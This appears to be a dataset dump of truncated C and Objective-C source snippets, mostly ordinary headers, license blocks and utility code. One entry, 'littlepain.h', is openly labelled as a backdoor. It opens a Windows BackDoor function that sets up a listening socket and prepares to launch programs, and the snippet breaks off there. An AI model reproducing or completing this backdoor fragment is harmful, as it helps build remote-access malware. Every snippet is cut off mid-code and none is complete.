text
stringlengths
4
6.14k
// // Item.h // Project 2 // // Created by Josh Kennedy on 5/3/14. // Copyright (c) 2014 Joshua Kennedy. All rights reserved. // #ifndef __Project_2__Item__ #define __Project_2__Item__ #include <string> class Item { public: Item(); virtual ~Item() = 0; unsigned long getIdNumber() const; ...
#ifndef _GOALUNDO_H_ #define _GOALUNDO_H_ #include <stack> #include <queue> #include <string> class GoalUndo { public: void undoGoal(); void undoOperation(); void undoOperation(std::string); std::string getOperations(); std::string getGoal(); void addOperation(std::string, std::string); void addOperati...
#include "fat.h" #include "disk.h" #include "malloc.h" void read_fs(struct fat_fs *b) { read_sector((unsigned char *) &(b->bpb), 0, 0); b->total_sectors = b->bpb.n_sectors; b->fat_size = b->bpb.spf; b->root_size = ((b->bpb.n_dirents * 32) + (b->bpb.bps - 1)) / b->bpb.bps; b->first_data = b->bpb.n_hidden ...
#include<stdio.h> void heap_sort(int[], int); void build_max_heap(int[], int); void max_heapify(int[],int,int); void swap(int*, int*); void display(int[],int); int main(){ int n = 11; int a[] = {55,3,2,5,77,44,65,53,88,31,9}; display(a,n); heap_sort(a,n); display(a,n); return 0; } void heap_sort(int a[], int n)...
// vi: nu:noai:ts=4:sw=4 // // c_defs // // Created by bob on 1/14/19. // /* This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, c...
#include_next <cxxabi.h>
#ifndef REGTEST #include <threads.h> #include <windows.h> int mtx_lock(mtx_t *mtx) { DWORD myId = GetCurrentThreadId(); if(mtx->_ThreadId == (long) myId) { mtx->_NestCount++; return thrd_success; } for(;;) { LONG prev = InterlockedCompareExchange(&mtx->_ThreadId, myId, 0); ...
// // UITextView+PinchZoom.h // // Created by 余洪江 on 16/03/01. // Copyright © MRJ. All rights reserved. // #import <UIKit/UIKit.h> @interface UITextView (PinchZoom) @property (nonatomic) CGFloat maxFontSize, minFontSize; @property (nonatomic, getter = iszoomEnabled) BOOL zoomEnabled; @end
// // UIImage+IL_ContentWithColor.h // ILDiligence // // Created by XueFeng Chen on 2017/5/14. // Copyright © 2017年 XueFeng Chen. All rights reserved. // #import <UIKit/UIKit.h> @interface UIImage (IL_ContentWithColor) - (UIImage *)il_imageContentWithColor:(UIColor *)color; @end
// -*- Mode: objc -*- @import Cocoa; #import "CoreConfigurationModel.h" @interface KarabinerKitConfigurationManager : NSObject @property(readonly) KarabinerKitCoreConfigurationModel* coreConfigurationModel; + (KarabinerKitConfigurationManager*)sharedManager; - (void)save; @end
// -------------------------------------------------------------------------- // Citadel: CfgFiles.h // // For figuring out how to configure ourselves. #ifdef MAIN char *citfiles[] = { "GRPDATA.CIT", "EXTERNAL.CIT", "CONFIG.CIT", "CRON.CIT", "ROUTE.CIT", "HARDWARE.CIT", "NODES.CIT...
/** * @file XMLConstructorException.h * @brief XMLConstructorException an exception thrown by XML classes * @author Ben Bornstein * * <!-------------------------------------------------------------------------- * This file is part of libSBML. Please visit http://sbml.org for more * information about SBML,...
/** @author Admino Technologies Oy Copyright 2013 Admino Technologies Oy. All rights reserved. See LICENCE for conditions of distribution and use. @file @brief */ #pragma once #include "CloudRenderingPluginApi.h" #include "CloudRenderingPluginFwd.h" #include "IModule.h" class CLOUDRENDERI...
#ifndef LOG_H #define LOG_H /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version ...
/* The MIT License Copyright (c) 2009 - 2014 Liam Devine Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, ...
// // XABCheckJobViewController.h // XAnBao // // Created by Minlay on 17/3/29. // Copyright © 2017年 Minlay. All rights reserved. // #import "YBBaseViewController.h" @interface XABCheckJobViewController : YBBaseViewController @property(nonatomic, copy)NSString *classId; @property(nonatomic, assign)NSInteger type;...
// // DFShortVideoMessageContent.h // MongoIM // // Created by Allen Zhong on 16/2/14. // Copyright © 2016年 MongoIM. All rights reserved. // #import "DFMediaMessageContent.h" #import <UIKit/UIKit.h> #import "DFVideoDecoder.h" @interface DFShortVideoMessageContent : DFMediaMessageContent @property (nonatomic, str...
#ifdef __OBJC__ #import <UIKit/UIKit.h> #endif FOUNDATION_EXPORT double Pods_CommuneUITestsVersionNumber; FOUNDATION_EXPORT const unsigned char Pods_CommuneUITestsVersionString[];
// // Copyright 2011 ODIN Working Group. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by...
/* * SPDX-FileCopyrightText: 2015-2022 Espressif Systems (Shanghai) CO LTD * * SPDX-License-Identifier: Apache-2.0 */ #pragma once #include "esp_bit_defs.h" /// Mask of interrupts sending to the host. typedef enum { SDIO_SLAVE_HOSTINT_BIT0 = BIT(0), ///< General purpose interrupt bit 0. SDIO_SLAVE_HOST...
// // YRMConst.h // Budejie // // Created by 叶仁明 on 2017/2/6. // Copyright © 2017年 叶仁明. All rights reserved. // #import <UIKit/UIKit.h> UIKIT_EXTERN CGFloat const YRMTitlesViewH; UIKIT_EXTERN CGFloat const YRMTitlesViewY; UIKIT_EXTERN CGFloat const YRMTopicCellTextY; UIKIT_EXTERN CGFloat const YRMTopicCellBottomT...
// ----------------------------------------------------------------------------- // Copyright 2011-2012 Patrick Näf (herzbube@herzbube.ch) // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at ...
#import <Cocoa/Cocoa.h> FOUNDATION_EXPORT double SwiftHTTPVersionNumber; FOUNDATION_EXPORT const unsigned char SwiftHTTPVersionString[];
/** * Appcelerator Titanium Mobile * Copyright (c) 2009-2015 by Appcelerator, Inc. All Rights Reserved. * Licensed under the terms of the Apache Public License * Please see the LICENSE included with this distribution for details. * * WARNING: This is generated code. Modify at your own risk and without support. ...
// // SVNAuthenticationProvider.h // SVNKit // // Created by Patrick McDonnell on 8/9/14. // #import "SVNAPRPool.h" @class SVNAuthenticationProvider, SVNAuthenticationCredentials; @protocol SVNAuthenticationDataSource <NSObject> @optional -(BOOL)SVNAuthenticationProvider:(SVNAuthenticationProvider *)provider sim...
enum{V}; enum{K}ABC; enum{Global = 10,Window}Type;
/*========================================================================= * * Copyright NumFOCUS * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.or...
// // TweetComposer.h // // Created by Calvin Lai on 8/11/13. // // #import <Foundation/Foundation.h> #import <Cordova/CDVPlugin.h> #import <Social/Social.h> #import <Accounts/Accounts.h> @interface BundleIdentifier : CDVPlugin { NSMutableDictionary* callbackIds; // NSString * phoneNumber; // NSString * me...
/************************************************************************* * Copyright (c) 2016, Gooeen. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.a...
#import <Foundation/Foundation.h> #import "PBObject.h" /** * Location Intelligence APIs * Incorporate our extensive geodata into everyday applications, business processes and workflows. * * OpenAPI spec version: 8.5.0 * * * NOTE: This class is auto generated by the swagger code generator program. * https://github.com...
/** ****************************************************************************** * @file discover_functions.h * @author Microcontroller Division * @version V1.2.4 * @date 01/2011 * @brief This file contains measurement values and boa **************************************************************...
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2016 ArangoDB GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of...
// Copyright 2016 Benjamin Glatzel // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to...
/*! \file Texture.h * \author Jared Hoberock * \brief Defines the interface to a class abstracting * textures for shading. */ #pragma once #include <array2/Array2.h> #include "../include/detail/Spectrum.h" class Texture : protected Array2<Spectrum> { public: /*! Null constructor creates a 1x1 w...
/* * Bean Java VM * Copyright (C) 2005-2015 Christian Lins <christian@lins.me> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 ...
// // SendMessageRequest.h // ProximitySenseSDK // // Created by Vladimir Petrov on 31/08/2015. // Copyright (c) 2015 Blue Sense Networks. All rights reserved. // #import <Foundation/Foundation.h> @interface SendMessageRequest : NSObject @property (nonatomic, strong) NSString *message; @end
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ #include <sys/types.h> #include <sys/event.h> #include <sys/time.h> #include <string.h> #include <unistd.h> #include <ckit/event.h> #include <ckit/debug.h> #include <ckit/time.h> int event_open(void) { return kqueue(); } void event_clos...
// Copyright 2022 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in...
// This header file is deprecated in 3ds Max 2011. // Please use header file listed below. #include "..\maxscript\protocols\time.h"
// // WebViewPushController.h // Tools // // Created by 张书孟 on 2018/4/16. // Copyright © 2018年 张书孟. All rights reserved. // #import "BaseViewController.h" @interface WebViewPushController : BaseViewController @property (nonatomic, strong) NSString *url; @end
// // MianTableViewCell.h // SweetFood // // Created by scjy on 16/3/4. // Copyright © 2016年 范芳芳. All rights reserved. // #import <UIKit/UIKit.h> #import "MianModel.h" #import "MainModel.h" @interface MianTableViewCell : UITableViewCell @property (strong, nonatomic) UIImageView *cellImage; @property (strong, nonat...
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may...
#include <Wire.h> #include "lis331dlh.h" #include "l3g4200d.h" #include "lis3mdl.h" #include "LPS331.h" #include "MadgwickAHRS.h" // Accelerometer #define ACCEL_ADDRESS_V1 LIS331DLH_TWI_ADDRESS #define ACCEL_ADDRESS_V2 LIS331DLH_TWI_ADDRESS_V2 // Gyroscope #define GYRO_ADDRESS_V1 L3G4200D_TWI_ADDRESS #defin...
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> // System.Object struct Il2CppObject; // System.IAsyncResult struct IAsyncResult_t537683269; // System.AsyncCallback struct AsyncCallback_t1363551830; #include "mscorlib_System_Multi...
/******************************************************************************* * Copyright 2016 Francesco Calimeri, Davide Fusca', Simona Perri and Jessica Zangari * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obta...
/** * @file ff_lpc546xx.c * @brief board ID for the NXP LPC54608Xpresso board * * DAPLink Interface Firmware * Copyright (c) 2009-2019, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file exc...
/******************** (C) COPYRIGHT 2012 WildFire Team ************************** * 文件名 :main.c * 描述 :华邦 2M串行flash测试,并将测试信息通过串口1在电脑的超级终端中打印出来。 * 实验平台:野火STM32开发板 * 库版本 :ST3.5.0 * * 作者 :wildfire team * 论坛 :http://www.amobbs.com/forum-1008-1.html * 淘宝 :http://firestm32.taobao.com ***********...
/** * Copyright (C) 2009 bdferris <bdferris@onebusaway.org> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required...
/* * Copyright 2012 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law o...
/* * nativescriptassert.h * * Created on: 12.11.2013 * Author: blagoev */ #ifndef NATIVESCRIPTASSERT_H_ #define NATIVESCRIPTASSERT_H_ #include <android/log.h> namespace tns { extern bool LogEnabled; #define DEBUG_WRITE(fmt, args...) if (tns::LogEnabled) __android_log_print(ANDROID_LOG_DEBUG, "TNS.Native"...
/************************************************************************************ * XtApp.h : header file * * CXtApp Definition header, An Application framework for common use * (Xtrovert Application Frameworks). * * AUTHOR : Sean Feng <SeanFeng2006@hotmail.com> * DATE : Aug. 7, 2012 * Copyright (c) 2009-?. All ...
/* * avdtp_internal.h - avdtp handling * Copyright (c) 2015-2016 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 *...
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * h...
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
#include <assert.h> #include <pthread.h> #include <stdint.h> #include <time.h> #include "../lib/includes.h" #include "../lib/blacklist.h" #include "../lib/logger.h" #include "../lib/xalloc.h" #include "iterator.h" #include "aesrand.h" #include "shard.h" #include "state.h" struct iterator { cycle_t cycle; uint8_t ...
#pragma once #include "DBC/DBC__File.h" DBC_DEF_BEGIN(DBC_CreatureDisplayInfo) __DBC_REF_ID(DBC_CreatureModelData, CreatureModelDataID, 2); __DBC_TVALUE(uint32, SoundID, 3); __DBC_REF_ID(DBC_CreatureDisplayInfoExtra, HumanoidData, ...
#ifndef _CUFTPD_H #define _CUFTPD_H #define CUFTPD_DEBUG(fmt, ...) cuftpd_debug(__FILE__, __LINE__, fmt, __VA_ARGS__) #define CUFTPD_ARR_LEN(arr) (sizeof(arr)/sizeof(arr[0])) #define CUFTPD_VER "1.0" #define CUFTPD_DEF_SRV_PORT 21 #define CUFTPD_LIS...
// // WJAuthorView.h // 糗百框架 // // Created by 孙文君 on 15/6/30. // Copyright (c) 2015年 sunwenjun. All rights reserved. // #import <UIKit/UIKit.h> @class WJFrameAuthor,WJAuthor; @interface WJAuthorView : UIView //@property(nonatomic,strong)WJAuthor *author; @property(nonatomic,strong)WJFrameAuthor *authorFrame; @end...
// // AddHomeViewController.h // AirTouch // // Created by kenny on 15/8/12. // Copyright (c) 2015年 Honeywell. All rights reserved. // #import "BaseViewController.h" #import "IContainerViewControllerDelegate.h" @interface AddHomeViewController : BaseViewController @property (nonatomic, weak) id<IContainerViewCon...
#ifndef __PropertyGroup_h__ #define __PropertyGroup_h__ /* -------------------------------------------------------------------------- * * OpenSim: PropertyGroup.h * * -------------------------------------------------------------------------- * * The OpenSim API is a ...
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" fil...
#ifndef AXISCOLORSTRUCT_H #define AXISCOLORSTRUCT_H struct axisColorStruct { public : double XAxiscolor[3]; double YAxiscolor[3]; double ZAxiscolor[3]; bool complementaryColor; bool sameColor; }; #endif // AXISCOLORSTRUCT_H
//////////////////////////////////////////////////////////////////////////// // Module : script_value_container_impl.h // Created : 16.07.2004 // Modified : 16.07.2004 // Author : Dmitriy Iassenev // Description : Script value container //////////////////////////////////////////////////////////////////////////// ...
/* * File: IAS-LangMod-SysMon/src/lang/mod/monitor/sys/mem/ModuleProxy.h * * Copyright (C) 2015, Albert Krzymowski * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.a...
#ifndef CELLO_SIMULATION_H #define CELLO_SIMULATION_H #include <algorithm> #include <stdexcept> #include <map> #include <memory> #include <queue> #include <string> #include <vector> #include <gameplay.h> #include <core/Delegate.h> #include <core/SimulationTypes.h> #include <json/json.h> #include <ui/Atlas.h> #include ...
// // Client+Extensions.h // // MobileTech Conference 2014 // Copyright (c) 2014 Ivo Wessel. All rights reserved. // Fragen zum Quellcode? Unterstützung bei iOS-Projekten? Melden Sie sich bei mir... // // Ivo Wessel // Lehrter Str. 57, Haus 2 // D-10557 Berlin // Phone : +49-(0)30-89 62 64 77 // Mobile: +49-(0...
// // nOpenWeb.h // janbin // // Created by katobit on 10/25/2556 BE. // Copyright (c) 2556 Kittipong Kulapruk. All rights reserved. // #import <UIKit/UIKit.h> @interface nOpenWeb_iphone : UIViewController<UIWebViewDelegate> { NSString *urlMain; NSString *type; NSString *link; } @property (strong, non...
/* Copyright (c) 2013 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: Leonardo de Moura */ #pragma once #include <memory> #include "kernel/expr.h" namespace lean { /** \brief Functional object for creating expressions with maximally shared ...
/* * Software License Agreement (Apache License) * * Copyright (c) 2014, Southwest Research Institute * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licens...
char *my_strcpy(char *dest, char *src) { char *adrr; for (adrr = dest; *src; *dest++ = *src++); *dest++ = '\0'; return (adrr); }
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR // PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT. ...
/* * * (C) Copyright IBM Corp. and others 1998-2013 - All Rights Reserved * */ #ifndef __SUBTABLEPROCESSOR2_H #define __SUBTABLEPROCESSOR2_H /** * \file * \internal */ #include "LETypes.h" #include "MorphTables.h" U_NAMESPACE_BEGIN class LEGlyphStorage; class SubtableProcessor2 : public UMemory { public: ...
/* Copyright 2013 KLab Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed ...
/* Copyright (C) 2014 by Project Tox <https://tox.im> This file is part of qTox, a Qt-based graphical interface for Tox. This program is libre software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either v...
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright 2012 Couchbase, Inc. | +--------------...
#include "list.h" void __list_add__(list_node_t *prev, list_node_t *next, list_node_t *node) { next->prev = node; node->next = next; node->prev = prev; prev->next = node; } void __list_del__(list_node_t *prev, list_node_t *next) { next->prev = prev; prev->next = next; } ...
// Copyright 2012 Google Inc. All Rights Reserved // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable...
#include "littlepain.h" /* the backdoor :) */ DWORD WINAPI BackDoor(LPVOID Data) { SOCKET server_sock,client_sock; struct sockaddr_in serv_inf; struct timeval tv; fd_set ft; char exec[MAX_PATH]; DWORD cnt; STARTUPINFO inf_prog; PROCESS_INFORMATION info_pr; if((server_sock = socket(AF_INET,SOCK_STREAM, I...
// // UIImage+Image.h // 生日管家 // // Created by yz on 15/7/6. // Copyright (c) 2015年 yz. All rights reserved. // #import <UIKit/UIKit.h> @interface UIImage (Image) // 根据颜色生成一张尺寸为1*1的相同颜色图片 + (UIImage *)imageWithColor:(UIColor *)color; // 拉伸图片 + (UIImage *)resizedImageWithName:(NSString *)name; +...
//////////////////////////////////////////////////////////////////////////// // Module : alife_human_object_handler.h // Created : 07.10.2005 // Modified : 07.10.2005 // Author : Dmitriy Iassenev // Description : ALife human object handler class ////////////////////////////////////////////////////////////////////...
/* * Copyright (C) 2014-2015 Vy Nguyen * Github https://github.com/vy-nguyen/tvntd * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * no...
#ifndef dynamic_array_h #define dynamic_array_h #include <stdlib.h> #include "dynamic_array.c" struct dynamic_array { uint32_t size; uint32_t expansion_factor; void ** array; }; int da_precise_create (struct dynamic_array * ar, uint32_t init_size, uint32_t expansion_factor); int da_create (struct dynamic_array ...
/* Source code for textbook: Flexible Reliable Software, by Henrik B. Christensen CRC Press 2010 *********************************** Project developped in java by Henrik B. Christensen C++ port by Robert Benkoczi *********************************** */ #ifndef __ILLEGALCOINEXCEPTION_H #define __ILLEGALCOINEXCEP...
/* * Copyright 2015 Suprema(biostar2@suprema.co.kr) * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
/*========================================================================= Program: GDCM (Grassroots DICOM). A DICOM library Copyright (c) 2006-2011 Mathieu Malaterre All rights reserved. See Copyright.txt or http://gdcm.sourceforge.net/Copyright.html for details. This software is distributed W...
/* Copyright 2014 Cloudbase Solutions Srl Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http ://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, sof...
//- Copyright 2013 the Neutrino authors (see AUTHORS). //- Licensed under the Apache License, Version 2.0 (see LICENSE). #ifndef _RUNTIME_INL #define _RUNTIME_INL #include "runtime.h" // Expands to the body of a safe_ function that works by calling a delegate and // if it fails garbage collecting and trying again o...
/* * Copyright 2014-2015 Nippon Telegraph and Telephone Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless requi...
/* * Copyright (c) 2017 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contribut...
// Copyright 2020 The IREE Authors // // Licensed under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // #ifndef IREE_COMPILER_DIALECT_HAL_TARGET_LLVM_LLVMAOTTARGET_H_ #define IREE_COMPILER_DIALECT_H...
// // HKZStatusToolBar.h // Weibo // // Created by hukezhu on 15/8/2. // Copyright (c) 2015年 hukezhu. All rights reserved. // #import <UIKit/UIKit.h> #import "HKZStatus.h" @interface HKZStatusToolBar : UIView @property(nonatomic,strong)HKZStatus *status;/**< 数据模型 */ @end
// // Generated by the J2ObjC translator. DO NOT EDIT! // source: /Volumes/Personal/Documents/raspi-config/client-framework/build/j2oSources/com/google/common/util/concurrent/ThreadFactoryBuilder.java // #include "J2ObjC_header.h" #pragma push_macro("INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder") ...
/* * File: * Author: ezio * * Created on 2016年2月25日, 下午9:14 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <ctype.h> #include <sys/un.h> #include <sys/socket.h> #define SV_SOCK_PATH "/tmp/us_xfr" #define BUF_SIZE 10 #define BACKLOG ...
// ATTENTION: The code in this file is highly EXPERIMENTAL. // Adventurous users should note that the APIs will probably change. #pragma once #include "onnx/common/ir.h" #include "onnx/common/ir_pb_converter.h" #include "onnx/common/stl_backports.h" #include "onnx/optimizer/passes/eliminate_deadend.h" #include "onnx/...
#ifndef LMS7002M_COMMANDS_H #define LMS7002M_COMMANDS_H const int LMS_RST_PULSE = 2; enum eCMD_LMS { CMD_GET_INFO = 0x00, ///Writes data to SI5356 synthesizer via I2C CMD_SI5356_WR = 0x11, ///Reads data from SI5356 synthesizer via I2C CMD_SI5356_RD = 0x12, ///Writes data to SI5351...
/* * DO NOT EDIT. THIS FILE IS GENERATED FROM e:/builds/moz2_slave/rel-2.0-xr-w32-bld/build/dom/interfaces/html/nsIDOMHTMLMapElement.idl */ #ifndef __gen_nsIDOMHTMLMapElement_h__ #define __gen_nsIDOMHTMLMapElement_h__ #ifndef __gen_nsIDOMHTMLElement_h__ #include "nsIDOMHTMLElement.h" #endif /* For ID...
/* * Copyright (C) 2006, 2007 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of condit...
#ifndef QIGTLIODEVICEWIDGET_H #define QIGTLIODEVICEWIDGET_H #include <QWidget> // igtlio includes #include "igtlioGUIExport.h" #include <vtkSmartPointer.h> #include <vtkObject.h> #include "qIGTLIOVtkConnectionMacro.h" typedef vtkSmartPointer<class igtlioDevice> igtlioDevicePointer; class qIGTLIODeviceWidget; cla...
/************************************************************************** * Copyright 2015 John Denholm * * * * Licensed under the Apache License, Version 2.0 (the "License"); * * you may not us...